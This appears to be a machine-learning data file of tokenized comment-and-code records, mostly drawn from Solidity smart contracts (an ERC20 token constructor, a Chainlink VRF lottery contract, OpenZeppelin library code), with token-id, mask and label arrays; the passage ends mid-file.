eng_noun:Trifluvian{}, eng_noun:dearn{}, eng_noun:Oxfordian{}, eng_noun:verbile{}, eng_noun:lame - o{}, eng_noun:Lamarckian{}, eng_noun:Ostrobothnian{}, eng_noun:read - through{}, eng_noun:Cushitic{}, eng_noun:Neopythagorean{}, eng_noun:pictorialist{}, eng_noun:foldover{}, eng_noun:ridgeside{}, eng_noun:primatal{}, eng_noun:antigonorrhoeic{}, eng_noun:superciliary{}, eng_noun:inferiour{}, eng_noun:Nepaulese{} }
An incurable optimist.
eng_noun:incurable{},
7,304,779
[ 1, 979, 316, 1397, 429, 5213, 376, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 24691, 67, 82, 465, 30, 267, 1397, 429, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xAB42127980a3bff124E6465e097a5fC97228827e/sources/eignlayr-contracts/src/contracts/middleware/BLSSignatureChecker.sol
check that the returned OperatorStake object is the most recent for the referenceBlockNumber
_validateOperatorStake(localStakeObject, referenceBlockNumber);
9,359,459
[ 1, 1893, 716, 326, 2106, 11097, 510, 911, 733, 353, 326, 4486, 8399, 364, 326, 2114, 1768, 1854, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 389, 5662, 5592, 510, 911, 12, 3729, 510, 911, 921, 16, 2114, 1768, 1854, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xcBbfcDd4EBC1A37A6EB87384729E763c372BB406/sources/DWI.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("DEAL WITH IT", "DWI") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 30; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 30; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 0; uint256 totalSupply = 1 * 1e9 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
15,753,312
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12316, 1435, 4232, 39, 3462, 2932, 1639, 1013, 13601, 24142, 3113, 315, 40, 23109, 7923, 288, 203, 7010, 3639, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 389, 318, 291, 91, 438, 58, 22, 8259, 273, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 7010, 3639, 4433, 1265, 2747, 3342, 12, 2867, 24899, 318, 291, 91, 438, 58, 22, 8259, 3631, 638, 1769, 203, 3639, 640, 291, 91, 438, 58, 22, 8259, 273, 389, 318, 291, 91, 438, 58, 22, 8259, 31, 203, 7010, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 24899, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 389, 318, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 4433, 1265, 2747, 3342, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 3639, 389, 542, 22932, 690, 3882, 278, 12373, 4154, 12, 2867, 12, 318, 291, 91, 438, 58, 22, 4154, 3631, 638, 1769, 203, 7010, 3639, 2254, 5034, 389, 70, 9835, 3882, 21747, 14667, 273, 5196, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 48, 18988, 24237, 14667, 273, 374, 31, 203, 3639, 2254, 5034, 389, 70, 9835, 8870, 14667, 273, 374, 31, 203, 7010, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "@chainlink/contracts/src/v0.7/dev/VRFConsumerBase.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./ISaferMoon.sol"; contract SaferWinning is Ownable, VRFConsumerBase { using SafeMath for uint; ISaferMoon public immutable token; uint public immutable maxEntriesPerAccount; uint public minDeposit; uint public totalEntries; mapping(address => uint) public entries; mapping(address => uint) public balances; mapping(address => uint) public participantIndex; address[] public participants; address public winner; event Deposit(address account, uint amount); event Withdrawal(address account, uint amount); event Result(address winner); bytes32 private immutable keyHash; uint private immutable fee; bytes32 private requestId; constructor( address _token, uint _maxEntriesPerAccount, uint _minDeposit, address _vrfCoordinator, address _link, bytes32 _keyHash, uint _fee ) VRFConsumerBase(_vrfCoordinator, _link) { token = ISaferMoon(_token); maxEntriesPerAccount = _maxEntriesPerAccount; minDeposit = _minDeposit; keyHash = _keyHash; fee = _fee; participants.push(address(0)); } modifier onlyEOA() { require(msg.sender == tx.origin, "Only EOA"); _; } function deposit(uint amount) external onlyEOA { require(amount >= minDeposit, "Contest: amount < minDeposit"); uint reflection = token.reflectionFromToken(amount, !token.isExcludedFromFee(address(this))); uint _amount = token.tokenFromReflection(reflection); uint _entries = entries[msg.sender].add(_amount); require(_entries <= maxEntriesPerAccount, "Contest: max entries exceeded"); token.transferFrom(msg.sender, address(this), amount); totalEntries = totalEntries.add(_amount); entries[msg.sender] = _entries; balances[msg.sender] = balances[msg.sender].add(reflection); updateParticipantsDeposit(); emit Deposit(msg.sender, amount); } function balanceOf(address account) public view returns (uint) { return token.tokenFromReflection(balances[account]); } function withdraw(uint amount) external onlyEOA { require(amount != 0, "Contest: amount must be > 0"); uint balance = balances[msg.sender]; require(amount <= token.tokenFromReflection(balance), "Contest: amount exceeds balance"); uint _entries = entries[msg.sender]; uint _amount = Math.min(_entries, amount); totalEntries = totalEntries.sub(_amount); entries[msg.sender] = _entries.sub(_amount); balances[msg.sender] = balance.sub(token.reflectionFromToken(amount, false)); // subtract full amount token.transfer(msg.sender, amount); updateParticipantsWithdrawal(); emit Withdrawal(msg.sender, amount); } function pickWinner(uint seed) external onlyOwner returns (bytes32) { require(LINK.balanceOf(address(this)) >= fee, "Contest: not enough LINK"); requestId = requestRandomness(keyHash, fee, seed); return requestId; } function fulfillRandomness(bytes32 _requestId, uint randomness) internal override { require(_requestId == requestId, "Contest: wrong request ID"); winner = participants[winningIndex(randomness)]; emit Result(winner); } function setMinDeposit(uint _minDeposit) external onlyOwner { minDeposit = _minDeposit; } function winningIndex(uint randomness) public view returns (uint) { uint random = randomness % totalEntries; for (uint i = 1; i < participants.length; i++) { uint participantEntries = entries[participants[i]]; if (random < participantEntries) { return i; } random = random - participantEntries; } } function updateParticipantsDeposit() private { if (participantIndex[msg.sender] == 0) { participantIndex[msg.sender] = participants.length; participants.push(msg.sender); } } function updateParticipantsWithdrawal() private { if (entries[msg.sender] == 0) { uint index = participantIndex[msg.sender]; address last = participants[participants.length - 1]; participants[index] = last; participants.pop(); participantIndex[last] = index; delete participantIndex[msg.sender]; } } function withdrawLink() external onlyOwner { LINK.transfer(msg.sender, LINK.balanceOf(address(this))); } }
subtract full amount
balances[msg.sender] = balance.sub(token.reflectionFromToken(amount, false));
12,894,372
[ 1, 1717, 1575, 1983, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 11013, 18, 1717, 12, 2316, 18, 26606, 1265, 1345, 12, 8949, 16, 629, 10019, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract 